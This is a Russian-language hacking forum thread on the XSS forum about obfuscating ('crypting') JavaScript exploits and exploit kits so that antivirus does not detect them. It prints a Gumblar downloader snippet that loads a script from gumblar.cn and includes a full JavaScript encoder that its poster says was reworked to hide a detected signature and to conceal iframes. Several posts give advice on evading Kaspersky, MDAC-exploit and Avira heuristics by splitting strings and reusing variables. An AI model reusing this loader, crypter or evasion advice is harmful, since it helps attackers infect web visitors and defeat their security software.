• XSS.stack #1 – первый литературный журнал от юзеров форума

Крипт сплоитов\связок (js,php)

Cryo.
, скрипт который вы выложили, является обфусицированным ява скриптом... расшифровать его будет очень даже не просто...
 
В одном из принятых оперой rss с форума
Касперский увидел это:

обнаружено: троянская программа Trojan-Downloader.JS.Gumblar.a

Я не знаю, что вы обсуждаете из закриптованного, но палится текст - который далее в скрипте

Cryo.:
вот хотелось бы знать чем зашифрован этот сплойт,и как его расшифровать...
===
 
просто просматривал до вольно крупный и многопосещаемый сайт рувапа,после нескольких переходов по дирам ,мой ав закричал что на странице некий js.донлаадер,посмотрев сорс увидел этот скриптег...возможно сайт уже был взломан до меня....хз =\


_hxxp://www.sendspace.com/file/epc76w
 
Код:
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//gumblar.cn/rss/?id="+j+"><\/script>");}
 
DiFor,спасибо а если не секрет как ты расшифровал просто интересно...




Код:
var a = "ScriptEngine",
b = "Version()+",
j = "",
u = navigator.userAgent;
if ((u.indexOf("Win") > 0) && (u.indexOf("NT 6") < 0) && (document.cookie.indexOf("miek=1") < 0) && (typeof(zrvzts) != typeof("A"))) {
  zrvzts = "A";
  eval("if(window." + a + ")j=j+" + a + "Major" + b + a + "Minor" + b + a + "Build" + b + "j;");
  document.write("<script src=//gumblar.cn/rss/?id=" + j + "><\/script>");
}
 
хотя....я так понял этим ты и расшифровал....

Код:
<html>

<head><title>JavaScript Decoder</title></head>

<body>



<script type="text/javascript">

// Функция записи в лог результатов расшифровки

function decoder(str) {

  document.getElementById('decoded').value+=str+'\n';

}

</script>



<!-- Окно лога -->

<textarea id="decoded" style="width:900px; height:500px;"></textarea>



<script type="text/javascript">

// Сюда вставить зашифрованный скрипт, предварительно

// заменить в нем все вызовы eval() и document.write() на decoder().

</script>



</body>

</html>
 
зы: нет, не этим, у меня инструменты получше =\


хотя результат тотже =/

нераскажешь про свой набор юного деобфускатора js)

давай колись что юзаешь.Eval.JavaScript.Unpacker,Malzilla или FreShow?)
 
Каким образом обходится эвристика (в данном случае: эвристика каспера т.к. он у меня стоит)? Каких общих принципов стоит придерживаться? Пробовал три различных метода крипта (шифрутся весь код абсолютно), комбинировал, но на мдак эвра срабатывает все равно. При всем при этом, криптор от уник пака прячет его без проблем. Код сто раз смотрел, но не могу понять, что же заставляет АВ заткнуться... С остальными сплойтами такой фигни не наблюдалось, только с мдак'ом. Спс :(
 
нераскажешь про свой набор юного деобфускатора js)
alert() это маст хэв :) я с его помощью уже много обфусцированных явсакриптов просмотрел. На самом деле все что может нормально переварить браузер (в плане javascript) можно увидеть глазами. Деобфускаторов на штучные крипты не бывает, тут фантазия автора работает, ну и терпение дешифровщика. Текст на первый взгляд выглядящий совсем нечитабильным можно вскрыть вставкой нескольких команд. Ну и многое зависит от КПД крипта то есть соотношения объемов исходного (нешифрованного) текста и того что получается после обфускации.

Если кому не лень могу предложить небольшой криптор на JS когда я его перелопачивал, то он не палился ни одним авером, только вот КПД у него гхм... маловат - чтоб ифрейм в него заныкать требуется 5кб тексту :fuck:
Код:
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
<meta name="Author" content="Brian Gosselin">
<title>Javascript Encoder</title>

<link href="encdec.css" rel="stylesheet" type="text/css">

<style type="text/css">

table{
background-color:#BBE6FF;
border-width:2px;
border-style:outset;
border-color:gray;
}

.outp{
background-color:#EAEAEA;
width:100%;
text-align:left;
border-color:lightgrey;
border-style:outset;
border-width:2px;
font-family:verdana;
font-size:8pt;
font-weight:normal;
}

</style>


</head>
<body>

<center><h2>Javascript Encoder</h2></center>


Этот скрипт кодирует Javascript код таким образом, чтобы сделать его нечитаемым для рядового пользователя. Алгоритм переработан 06.05.2009 с целью скрытия паленой сигнатуры. Для использования необходимо просто следовать инструкциям ниже.


<center>
<form name="fa">


<table cellpadding="5" cellspacing=0 border=0 width="575">
<tr align="left"><td class="tblc" colspan="2">
<ol><li>Вставьте сюда свой Javascript код (не HTML это важно).
<li>Выберите <b>ключ шифрования</b> по желанию.
<li>Нажмите кнопку <b>Зашифровать</b>.
</ol></td></tr>
<tr valign="top" align="center">
<td class="tblc" width="500">
<textarea id="f2" cols=80 rows=15 wrap="off">
<script LANGUAGE="javascript">
// Пример простого скрипта
alert('Hello World');
</SCRIPT>

<script LANGUAGE="javascript" SRC="your_js_file.js">
// Пример вызова внешнего файла
</SCRIPT>
</textarea>
</td>
<td>



Ключ:

<select name="et" onchange="encN=this.selectedIndex+1">
<option selected>1
<option>2
<option>3
<option>4
<option>5
</select>



<input type="button" value="Зашифровать" onclick="writeOut()">


<input type="reset" value="Сбросить">
</td>
</tr>
</table>



</center>
Скопируйте весь текст ниже (для выделения можно использовать Select All...) и вставтье на свою HTML страницу, где хотели бы использовать зашифрованный скрипт. <b>ВАЖНО!</b> чтобы текст на странице располагался в одну строку без пробелов и преносов строки!


<a href="javascript:document.fa.output.focus();document.fa.  output.select();">Select All...</a>

<textarea name="output" class="outp" rows="15">
Тут будет отображен зашифрованный текст скрипта...
</textarea>

</form>


<script language="javascript">

var encN=1;

// ENCODES, IN UNICODE FORMAT, ALL TEXT AND THEN ESCAPES THE OUTPUT
function encodeTxt(s){
s=escape(s);
var ta=new Array();
for(i=0;i<s.length;i++)ta[i]=s.charCodeAt(i)+encN;
return ""+escape(eval("String.fromCharCode("+ta+")"))+encN;
}


// WRITES THE DECODED OUTPUT, ALONG WITH THE ESCAPED DECODER FUNCTION TO THE DIV
function writeOut(){
document.forms["fa"].output.value="<"+"script language=javascript"+">var stringer='%3c'+'%73'+'%63'+'%72'+'%69'+'%70'+'%74'+'%20'+'%6c'+'%61'+'%6e'+'%67'+'%75'+'%61'+'%67'+'%65'+'%3d'+'%27'+'%6a'+'%61'+'%76'+'%61'+'%73'+'%63'+'%72'+'%69'+'%70'+'%74'+'%27'+'%3e'+'%64'+'%6f'+'%63'+'%75'+'%6d'+'%65'+'%6e'+'%74'+'%2e'+'%77'+'%72'+'%69'+'%74'+'%65'+'%28'+'%75'+'%6e'+'%65'+'%73'+'%63'+'%61'+'%70'+'%65'+'%28'+'%27'+'%25'+'%33'+'%63'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%30'+'%25'+'%37'+'%34'+'%25'+'%32'+'%30'+'%25'+'%36'+'%63'+'%25'+'%36'+'%31'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%35'+'%25'+'%36'+'%31'+'%25'+'%36'+'%37'+'%25'+'%36'+'%35'+'%25'+'%33'+'%64'+'%25'+'%32'+'%37'+'%25'+'%36'+'%61'+'%25'+'%36'+'%31'+'%25'+'%37'+'%36'+'%25'+'%36'+'%31'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%30'+'%25'+'%37'+'%34'+'%25'+'%32'+'%37'+'%25'+'%33'+'%65'+'%25'+'%36'+'%36'+'%25'+'%37'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%33'+'%25'+'%37'+'%34'+'%25'+'%36'+'%39'+'%25'+'%36'+'%66'+'%25'+'%36'+'%65'+'%25'+'%32'+'%30'+'%25'+'%34'+'%36'+'%25'+'%34'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%39'+'%25'+'%37'+'%62'+'%25'+'%37'+'%36'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%32'+'%30'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%33'+'%31'+'%25'+'%33'+'%64'+'%25'+'%37'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%35'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%36'+'%31'+'%25'+'%37'+'%30'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%37'+'%33'+'%25'+'%37'+'%35'+'%25'+'%36'+'%32'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%38'+'%25'+'%33'+'%30'+'%25'+'%32'+'%63'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%36'+'%63'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%34'+'%25'+'%36'+'%38'+'%25'+'%32'+'%64'+'%25'+'%33'+'%31'+'%25'+'%32'+'%39'+'%25'+'%32'+'%39'+'%25'+'%33'+'%62'+'%25'+'%37'+'%36'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%32'+'%30'+'%25'+'%36'+'%66'+'%25'+'%37'+'%35'+'%25'+'%37'+'%34'+'%25'+'%33'+'%64'+'%25'+'%32'+'%37'+'%25'+'%32'+'%37'+'%25'+'%33'+'%62'+'%25'+'%36'+'%36'+'%25'+'%36'+'%66'+'%25'+'%37'+'%32'+'%25'+'%32'+'%38'+'%25'+'%36'+'%61'+'%25'+'%33'+'%64'+'%25'+'%33'+'%30'+'%25'+'%33'+'%62'+'%25'+'%36'+'%61'+'%25'+'%33'+'%63'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%33'+'%31'+'%25'+'%32'+'%65'+'%25'+'%36'+'%63'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%34'+'%25'+'%36'+'%38'+'%25'+'%33'+'%62'+'%25'+'%36'+'%61'+'%25'+'%32'+'%62'+'%25'+'%32'+'%62'+'%25'+'%32'+'%39'+'%25'+'%36'+'%66'+'%25'+'%37'+'%35'+'%25'+'%37'+'%34'+'%25'+'%32'+'%62'+'%25'+'%33'+'%64'+'%25'+'%35'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%32'+'%65'+'%25'+'%36'+'%36'+'%25'+'%37'+'%32'+'%25'+'%36'+'%66'+'%25'+'%36'+'%64'+'%25'+'%34'+'%33'+'%25'+'%36'+'%38'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%34'+'%33'+'%25'+'%36'+'%66'+'%25'+'%36'+'%34'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%33'+'%31'+'%25'+'%32'+'%65'+'%25'+'%36'+'%33'+'%25'+'%36'+'%38'+'%25'+'%36'+'%31'+'%25'+'%37'+'%32'+'%25'+'%34'+'%33'+'%25'+'%36'+'%66'+'%25'+'%36'+'%34'+'%25'+'%36'+'%35'+'%25'+'%34'+'%31'+'%25'+'%37'+'%34'+'%25'+'%32'+'%38'+'%25'+'%36'+'%61'+'%25'+'%32'+'%39'+'%25'+'%32'+'%64'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%37'+'%33'+'%25'+'%37'+'%35'+'%25'+'%36'+'%32'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%38'+'%25'+'%37'+'%33'+'%25'+'%37'+'%34'+'%25'+'%37'+'%32'+'%25'+'%32'+'%65'+'%25'+'%36'+'%63'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%37'+'%25'+'%37'+'%34'+'%25'+'%36'+'%38'+'%25'+'%32'+'%64'+'%25'+'%33'+'%31'+'%25'+'%32'+'%63'+'%25'+'%33'+'%31'+'%25'+'%32'+'%39'+'%25'+'%32'+'%39'+'%25'+'%33'+'%62'+'%25'+'%36'+'%34'+'%25'+'%36'+'%66'+'%25'+'%36'+'%33'+'%25'+'%37'+'%35'+'%25'+'%36'+'%64'+'%25'+'%36'+'%35'+'%25'+'%36'+'%65'+'%25'+'%37'+'%34'+'%25'+'%32'+'%65'+'%25'+'%37'+'%37'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%34'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%37'+'%35'+'%25'+'%36'+'%65'+'%25'+'%36'+'%35'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%36'+'%31'+'%25'+'%37'+'%30'+'%25'+'%36'+'%35'+'%25'+'%32'+'%38'+'%25'+'%36'+'%66'+'%25'+'%37'+'%35'+'%25'+'%37'+'%34'+'%25'+'%32'+'%39'+'%25'+'%32'+'%39'+'%25'+'%33'+'%62'+'%25'+'%37'+'%64'+'%25'+'%33'+'%63'+'%25'+'%32'+'%66'+'%25'+'%37'+'%33'+'%25'+'%36'+'%33'+'%25'+'%37'+'%32'+'%25'+'%36'+'%39'+'%25'+'%37'+'%30'+'%25'+'%37'+'%34'+'%25'+'%33'+'%65'+'%27'+'%29'+'%29'+'%3b'+'%3c'+'%2f'+'%73'+'%63'+'%72'+'%69'+'%70'+'%74'+'%3e';for(i=0;i<stringer.length+2;i=i+3)document.write(unescape(stringer.substr(i,3)));FE('"+encodeTxt(document.forms['fa'].f2.value)+"')<"+"/script>";
}


</script>

</body>
</html>
 
Каким образом обходится эвристика (в данном случае: эвристика каспера т.к. он у меня стоит)? Каких общих принципов стоит придерживаться? Пробовал три различных метода крипта (шифрутся весь код абсолютно), комбинировал, но на мдак эвра срабатывает все равно. При всем при этом, криптор от уник пака прячет его без проблем. Код сто раз смотрел, но не могу понять, что же заставляет АВ заткнуться... С остальными сплойтами такой фигни не наблюдалось, только с мдак'ом. Спс

Сообщение отредактировал WennY - Вчера, 18:45

Писал я, писали другие на разных форумах.

Самое простое - помаленьку вырезать из палящегося кода кусочек за кусочком, пока не найдёшь операторы что палятся.

Чистка:
Нашёл код, что палится. Если строка - то бъёшь на части (на js для части переменных подойдёт замена типа "строка" на "стр"+"ока" или "ст"+"ро"+"ка")
Для большег озапутывания (и для другой части аверов) делаешь так:

var tmp1 = "ст";
var tmp2 = "ро";
var tmp3 = "ка";

var tmp4 = tmp1+tmp2+tmp3;
или в более запущенных случаях рекомендуется повторно использовать одну и ту же переменную

var tmp1 = "ст";
var tmp2 = "ро";
var tmp4 = tmp1+tmp2;
tmp2 = "ка";
var tmp4 = tmp4+tmp2;

ну и прочее. замена функций, шифрование их имён (даже на js), и т.д. и т.п.
 
Dragon_X, я не вчера сел за комп. Вообщем, проблема решилась. Двухуровневая система криптования заткнула АВ. Там проблема была именно с мдак'ом, а ты так говоришь, как буд-то бы я вчера услышал про крипт и сегодня уже пытаюсь что-то намутить. Фишка в том была, что даже если весь код через replac'ы заколбасить, эвристика все равно кричала. Тут, видать, только "мясом" брать, т.е. закриптовывать досмерти все и всех. Но, все равно спс за ответ :)
 
Вопрос такой. Авира орет на еваль. Что с этим мона сделать? Криптовки всевозможные пробовал - нифига.
P.S. Не надо плз объяснять мне принципы криптовки и прочее. Любое евал в любой части кода (даже если код с ошибками и т.д.) мгновенно становится поводом для авирной истерики...
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх